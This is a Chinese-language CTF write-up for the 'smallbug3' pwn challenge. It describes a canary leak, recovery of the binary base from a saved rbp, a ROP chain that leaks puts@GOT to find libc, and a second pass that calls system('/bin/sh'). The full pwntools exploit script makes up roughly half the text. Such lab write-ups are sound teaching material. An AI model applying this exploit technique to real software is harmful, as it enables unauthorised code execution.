bug3

smallbug3

flag.png

canary后两位一定是00,可以通过canary找到。填充多少位,可以通过telescope 0x20找到canary位置,再distance $rsi canary找到。

canary小端序存储在内存中,就可以把开头两位00覆盖成'c',这样读到c,rjust00后就可以解出canary(我用 sendline,多发的一个''起到了填补\0 的效果,但自己一直没发现,卡了好久

程序基址可以用GDBvmmap看,发现和跟着canary打出来的rbp前几位相同,我记得讲过开了地址随机化程序基址后三位也一定是000,所以可以根据rbp求出程序基址。

思路就是首先泄露出canary、程序基址前几位,然后puts泄露puts_got推出libc基址,第二个main就可以system("/bin/sh")了。

说是rbp可以用telescope看出和程序基址前几位相同,我又发现rbp下面一句: 0x7ffeadd0ec78 —▸ 0x7f68efcc6a87 (__libc_start_main+231) ◂— mov edi, eax,如果能打印出它,连用 puts 泄露 got 表都不用,直接可以在libc里找**libc_start_main就能得到libc基址(GDB里算过了,是对的。但因为rbp开头是0,所以想要不覆盖rbp而打出**libc_start_main+231是不可能的,本想着第二次main再打印,又EOF了好久,才发现第二次rbp下面不是这句了…… 不爽,还是想要通过这种方式算出libc基址,在它之后($rsi+0x118)又找到了_dl_init+118的地址,填充好了打半天出不来,才想起来canary也带\0,打印到canary就停止了不能再往前走了……

只好按部就班找system、bin/sh解出题目:

# -*- coding: utf-8 -*-
from pwn import *

context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

io = process("./smallbug3")  # , env = {"LD_PRELOAD" : "./libc-2.23.so"})
libc = ELF("./libc-2.27.so")
elf = ELF("./smallbug3")

pop_rdi = 0xb33  # ropper --file ./smallbug3  --search "pop | ret"

io.recvline()
io.sendline("-1")
io.recvline()

io.sendline('a' * 0x88)  # 隐含地发送了第0x89个字符'\n',它会覆盖掉canary的最后一位
io.recvline('a\n')

canary = u64(io.recv(7).rjust(8, "\x00"))
elf_base = (u64(io.recv(6).ljust(8, "\x00")) >> 12) << 12

log.info("canary: " + hex(canary))
log.info("elf_base: " + hex(elf_base))

io.recvuntil("Leave some message for us:\n")

pop_rdi_real = elf_base + pop_rdi
main_addr_real = elf_base + 0x9cc
puts_got_real = elf_base + elf.got['puts']
puts_plt_real = elf_base + elf.plt['puts']

# 这里又忘了给pop_rdi加elf_base,又卡了好久SIGSEGV
io.sendline('a'*0x88 + p64(canary) + 'a'*8 + p64(pop_rdi_real) + p64(puts_got_real) + p64(puts_plt_real) + p64(main_addr_real))

libc_base = u64(io.recvuntil("\x7f")[-6:].ljust(8, "\x00")) - libc.sym['puts']

sys_libc_real = libc.symbols["system"] + libc_base
binsh_libc_real = next(libc.search("/bin/sh")) + libc_base
log.info("libc_base: " + hex(libc_base))
log.info("-----------------------------------------------------")
log.info("第一次main函数之旅到此结束")
log.info("-----------------------------------------------------")

io.recvuntil("the length of your name:\n")
io.sendline("-1")
io.readline()
io.sendline('haha')
io.recvline()
io.sendline('a'*0x88 + p64(canary) + 'a'*8 + p64(pop_rdi_real) + p64(binsh_libc_real) + p64(sys_libc_real))
io.interactive() # 眼看前面都没报错,可最后就是程序自动结束,才想起来忘了打interactive……